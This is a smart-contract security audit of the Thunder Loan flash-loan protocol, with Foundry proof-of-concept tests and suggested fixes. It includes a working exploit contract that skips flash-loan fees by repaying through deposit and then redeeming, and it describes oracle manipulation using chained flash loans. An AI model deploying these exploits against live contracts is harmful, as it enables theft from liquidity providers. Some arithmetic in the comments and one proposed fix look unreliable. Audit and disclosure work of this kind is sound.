Protocol Audit Report

Version 1.0

Prepared by: yappy-yum

July 11, 2025

Contents

Protocol Summary

Thunder Loan is a DeFi protocol that allows Liquidity Provider to deposit their tokens to earn interest. Users also allows to do flash loan to borrow large amount of tokens and pay back within the same transaction, including the fees. Liquidity provider will be earned via fees collected by anyone who calls flash loan

Disclaimer

yappy-yum makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by yappy-yum is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
e8ce05f5530ca965165d41547b289604f873fdf6
```

Scope

```
#---- interfaces
     # --- IFlashLoanReceiver.sol
     # --- IPoolFactory.sol
     # --- ITSwapPool.sol
```

```
5       # --- IThunderLoan.sol
6   #---- protocol
7       # --- AssetToken.sol
8       # --- OracleUpgradeable.sol
9       # --- ThunderLoan.sol
10  #---- upgradedProtocol
11      # --- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	number of issue found
High	3
Medium	2
Low	1
Informational	4
Gas	1
Total	**11**

Findings

High

[H-1] erroneous exchange fees update in `ThunderLoan::deposit`

Description:

In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

Howeve, the `deposit` function, updates this rate, without collecting any fees !!

```
1       function deposit(IERC20 token, uint256 amount) external revertIfZero(
            amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3
4           uint256 exchangeRate = assetToken.getExchangeRate();
5           uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
                ) / exchangeRate;
6
7           emit Deposit(msg.sender, token, amount);
8           assetToken.mint(msg.sender, mintAmount);
9
10  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
11  @>      assetToken.updateExchangeRate(calculatedFee);
12
13          token.safeTransferFrom(msg.sender, address(assetToken), amount);
14      }
```

Impact:

There are several impacts to this bug.

1. The `redeem` function is blocked, because the protoocl thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved

Proof of Concept:

1. LP deposits
2. User takes out flash loan
3. It is now impossible for LP to redeem

```
1       function test_erroneous_exchange_rate_updates() public {
2           // owner allowing tokenA
3           vm.prank(thunderLoan.owner());
4           thunderLoan.setAllowedToken({
5               token: tokenA,
6               allowed: true
7           });
8
9           // provide liquidity - deposit 1000 ether
10          vm.startPrank(liquidityProvider);
11          tokenA.mint(liquidityProvider, 1000 ether);
12          tokenA.approve(address(thunderLoan), 1000 ether);
13          thunderLoan.deposit({
14              token: tokenA,
15              amount: 1000 ether
16          });
17          vm.stopPrank();
```

```
18
19          // ready fees to be paid by user + run flash loan
20          vm.startPrank(user);
21          tokenA.mint(
22              address(mockFlashLoanReceiver),
23              thunderLoan.getCalculatedFee({
24                  token: tokenA,
25                  amount: 100 ether
26              })
27          );
28          thunderLoan.flashloan({
29              receiverAddress: address(mockFlashLoanReceiver),
30              token: tokenA,
31              amount: 100 ether,
32              params: ""
33          });
34          vm.stopPrank();
35
36          // LP tryna withdraw/redeem shares
37          // Note: expectation
38          // --> initial deposit = 1000 ether
39          // --> fees 0.3% = 0.3 ether + 1000 ether
40          // --> expected shares to be returned = 1003.3 ether
41
42          // Note: from log
43          // --> shares to be returned = 1003.3009 ether
44          // --> why there is 0.0009 ether ???
45          vm.prank(liquidityProvider);
46          thunderLoan.redeem({
47              token: tokenA,
48              amountOfAssetToken: type(uint256).max
49          });
50      }
```

Recommended Mitigation:

```
1       function deposit(IERC20 token, uint256 amount) external revertIfZero(
            amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
                ) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7   -       uint256 calculatedFee = getCalculatedFee(token, amount);
8   -       assetToken.updateExchangeRate(calculatedFee);
9           token.safeTransferFrom(msg.sender, address(assetToken), amount);
10      }
```

[H-2] storage collision in ThunderLoanUpgraded contract variable

Description:

`ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the postitions of storage variables when working with upgradeable contracts.

Impact:

After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Concept:

A simple test below demonstrate how different storage slot is declared on the new version of upgraded version, as compared to older version, will cause all the data gets added into incorrect storage.

```
    function test_storage_collision() public {
        uint FeesBeforeUpgrade = thunderLoan.getFee();

        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded Upgraded = new ThunderLoanUpgraded();
        // Note:
        // if this fails, adds fallback
        thunderLoan.upgradeToAndCall({
            newImplementation: address(Upgraded),
            data: ""
        });
        vm.stopPrank();

        uint FeesAfterUpgraded = thunderLoan.getFee();

        console.log("Fees Before Upgrade: ", FeesBeforeUpgrade);
        console.log("Fees After Upgraded: ", FeesAfterUpgraded);

    }
```

The console log emitted below from the test above shows that weird data is stored in the storage.

```
[PASS] test_storage_collision() (gas: 5674507)
Logs:
  Fees Before Upgrade:  3000000000000000
  Fees After Upgraded:  1000000000000000000
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation:

Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant.

In `ThunderLoadUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_dummy; // blank storage
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] flash loan fee bypass via `deposit` and `redeem`

Description:

The contract incorrectly verifies flash loan repayment by checking the raw token balance of the `AssetToken` contract (`endingBalance < startingBalance + fee`), rather than requiring an explicit `repay` or tracking repayment state.

An attacker could take take this advantage to call `deposit` function to repay the flash loan fees. Since the main verification is on raw amount balance, calling `deposit` function should increase the contract balance, bypassing the condition. After that, attacker may call `redeem` to withdraw its prior deposited (the fees) funds, making attacker being able to run flash loan for free.

Impact:

Anyone could run the flash loan for free, without the need to pay the fees.

Proof of Concept:

A sample malicious contract below that act as a user initializing flash loan

```
contract DepositRepay is IFlashLoanReceiver {

    ThunderLoan public thunderLoan;
    AssetToken assetToken;
    address Token;
```

```
6
7       constructor(address _thunderLoan) {
8           thunderLoan = ThunderLoan(_thunderLoan);
9       }
10
11      function executeOperation(
12          address token,
13          uint256 amount,
14          uint256 fee,
15          address /* initiator */,
16          bytes calldata /* params */
17      ) external
18        returns (bool)
19      {
20          Token = token;
21          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
22
23          IERC20(token).approve(
24              address(thunderLoan),
25              amount + fee
26          );
27          thunderLoan.deposit({
28              token: IERC20(token),
29              amount: amount + fee
30          });
31
32          return true;
33      }
34
35      // once flash loan is done, call deposit function to be the way to
36      // pay the fees ... then call redeem to get the fees paid back
37      function redeemMoney() public {
38          thunderLoan.redeem({
39              token: IERC20(Token),
40              amountOfAssetToken: assetToken.balanceOf(address(this))
41          });
42      }
43
44  }
```

A sample test below outline the process of an attacker using the malicious contract above to run flash loan, without paying fees in the end.

```
1       function test_using_deposit_instead_of_repay() public {
2           // owner allowing tokenA
3           vm.prank(thunderLoan.owner());
4           thunderLoan.setAllowedToken({
5               token: tokenA,
6               allowed: true
7           });
```

```
8
9           // provide liquidity - deposit 1000 ether
10          vm.startPrank(liquidityProvider);
11          tokenA.mint(liquidityProvider, 1000 ether);
12          tokenA.approve(address(thunderLoan), 1000 ether);
13          thunderLoan.deposit({
14              token: tokenA,
15              amount: 1000 ether
16          });
17          vm.stopPrank();
18
19          // tryna call deposit instead of repay to pay the fees
20          vm.startPrank(user);
21          uint LoanFee = thunderLoan.getCalculatedFee({
22              token: tokenA,
23              amount: 50 ether
24          });
25          DepositRepay hacker = new DepositRepay(address(thunderLoan));
26          tokenA.mint(address(hacker), LoanFee);
27          thunderLoan.flashloan({
28              receiverAddress: address(hacker),
29              token: tokenA,
30              amount: 50 ether,
31              params: ""
32          });
33          hacker.redeemMoney();
34          vm.stopPrank();
35
36          assertGt(
37              tokenA.balanceOf(address(hacker)),
38              50 ether + LoanFee
39          );
40      }
```

Recommended Mitigation:

Add an automated `repay` function before the end of the execution to force the fees payment to be paid for the flash loan, which can't be withdrawn.

```
1       function flashloan(address receiverAddress, IERC20 token, uint256
            amount, bytes calldata params) external {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 startingBalance = IERC20(token).balanceOf(address(
                assetToken));
4
5           .
6           .
7           .
8
9           // slither-disable-next-line unused-return reentrancy-
                vulnerabilities-2
```

```
10          receiverAddress.functionCall(
11              abi.encodeWithSignature(
12                  "executeOperation(address,uint256,uint256,address,bytes)",
13                  address(token),
14                  amount,
15                  fee,
16                  msg.sender,
17                  params
18              )
19          );
20
21  +       repay(token, fee + amount);
22          uint256 endingBalance = token.balanceOf(address(assetToken));
23          if (endingBalance < startingBalance + fee) {
24              revert ThunderLoan__NotPaidBack(startingBalance + fee,
                    endingBalance);
25          }
26          s_currentlyFlashLoaning[token] = false;
27      }
```

Medium

[M-1] Centralization risk for trusted owner

Description:

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

For example in `ThunderLoan` contract:

```
1  223:   function setAllowedToken(IERC20 token, bool allowed) external
       onlyOwner returns (AssetToken) {
2
3  261:   function _authorizeUpgrade(address newImplementation) internal
       override onlyOwner { }
```

[M-2] Using TSwap as price oracle leads to price oracle manipulation attacks

The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact:

Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

User takes a flash loan from ThunderLoan for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following: - User sells 1000 `tokenA`, tanking the price. - Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`. - Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool`, this second flash loan is substaintially cheaper.

```
1      function getPriceInWeth(address token) public view returns (uint256) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
               );
3  @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
4      }
```

- The user then repays the first flash loan, and then repays the second flash loan.

Below is the sample malicious contract that can manipulate price oracle:

Due to the code being too lengthy, click here to view the `MaliciousFlashLoan` and `test_oracle_manipulation`

The actual Fees number based on the scenario test above is as shown below:

```
1  [PASS] test_oracle_manipulation() (gas: 17166232)
2  Logs:
3    Normal Loan Fee:    296147410319118389
4    Attacker Loan Fee:  214167600932190305
```

Recommended Mitigation:

Consider using a different price oracle mechanism, like a Chainlink feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Possible front-running on initializers

Description:

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment.

An example of the initializers as below in `ThunderLoan` contract

```
1      function initialize(address tswapAddress) external initializer {
2          __Ownable_init();
3          __UUPSUpgradeable_init();
4          __Oracle_init(tswapAddress);
```

```
5           s_feePrecision = 1e18;
6           s_flashLoanFee = 3e15; // 0.3% ETH fee
7       }
```

Recommended Mitigation:

Adding `onlyOwner` to avoid front-running. Additionally, ensures that these functions are called immediately after deployed

Informational

[I-1] incorrect/unused `repay` interface

Description:

`IThunderLoan` interface contain `repay` function. If this function is intended to be used in `ThunderLoan`, ensures that its function signature is correct, then override it into the `ThunderLoan::repay` function.

Otherwise, remove it.

Recommended Mitigation:

Assuming this interface is intended to be used in `ThunderLoan`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

+ import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IThunderLoan {
-   function repay(address token, uint256 amount) external;
+   function repay(IERC20 token, uint256 amount) external;
}
```

```
+ import { IThunderLoan } from "../interfaces/IThunderLoan.sol";

- contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
+ contract ThunderLoan is IThunderLoan, Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {

    .
    .
    .

-   function repay(IERC20 token, uint256 amount) public {
+   function repay(IERC20 token, uint256 amount) public override(IThunderLoan) {
```

[I-2] missing zero-address validation in `OracleUpgradeable` contract

```
+   error AssetToken__ZeroAddress();

    .
    .
    .

    function __Oracle_init(address poolFactoryAddress) internal
        onlyInitializing {
+       if (poolFactoryAddress == address(0)) revert AssetToken__ZeroAddress
    ();
         __Oracle_init_unchained(poolFactoryAddress);
    }

    function __Oracle_init_unchained(address poolFactoryAddress) internal
        onlyInitializing {
+       if (poolFactoryAddress == address(0)) revert AssetToken__ZeroAddress
    ();
        s_poolFactory = poolFactoryAddress;
    }

    function getPriceInWeth(address token) public view returns (uint256) {
+       if (token == address(0)) revert AssetToken__ZeroAddress();
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token)
            ;
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }

    function getPrice(address token) external view returns (uint256) {
+       if (token == address(0)) revert AssetToken__ZeroAddress();
        return getPriceInWeth(token);
    }
```

[I-3] Redundent call in `OracleUpgradeable` contract

To get the price in `WETH`, getter function `getPriceInWeth` is the main getter function to retrive the answer. However, `getPrice` seems to have the similar functionality, by forward the execution calls to `getPriceInWeth`.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
            );
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }

-   function getPrice(address token) external view returns (uint256) {
-       return getPriceInWeth(token);
-   }
```

[I-4] Missing event emit in `ThunderLoan::updateFlashLoanFee`

```
+    event UpdatedFlashLoanFees(uint _newFlashLoanFee);

     .
     .
     .

     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
         if (newFee > s_feePrecision) {
             revert ThunderLoan__BadNewFee();
         }
         s_flashLoanFee = newFee;

+        emit UpdatedFlashLoanFees(newFee);
     }
```

Gas

[G-1] too many storage read in `AssetToken::updateExchangeRate`

```
     function updateExchangeRate(uint256 fee) external onlyThunderLoan {
         // 1. Get the current exchange rate
         // 2. How big the fee is should be divided by the total supply
         // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5
         // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125
         // it should always go up, never down
         // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply
         // newExchangeRate = 1 (4 + 0.5) / 4
         // newExchangeRate = 1.125
         uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

+        uint _exchangeRate = s_exchangeRate;
-        if (newExchangeRate <= s_exchangeRate) {
+        if (newExchangeRate <= _exchangeRate) {
-            revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
+            revert AssetToken__ExhangeRateCanOnlyIncrease(_exchangeRate, newExchangeRate);
         }
         s_exchangeRate = newExchangeRate;
-        emit ExchangeRateUpdated(s_exchangeRate);
```

```
20 +         emit ExchangeRateUpdated(newExchangeRate);
21       }
```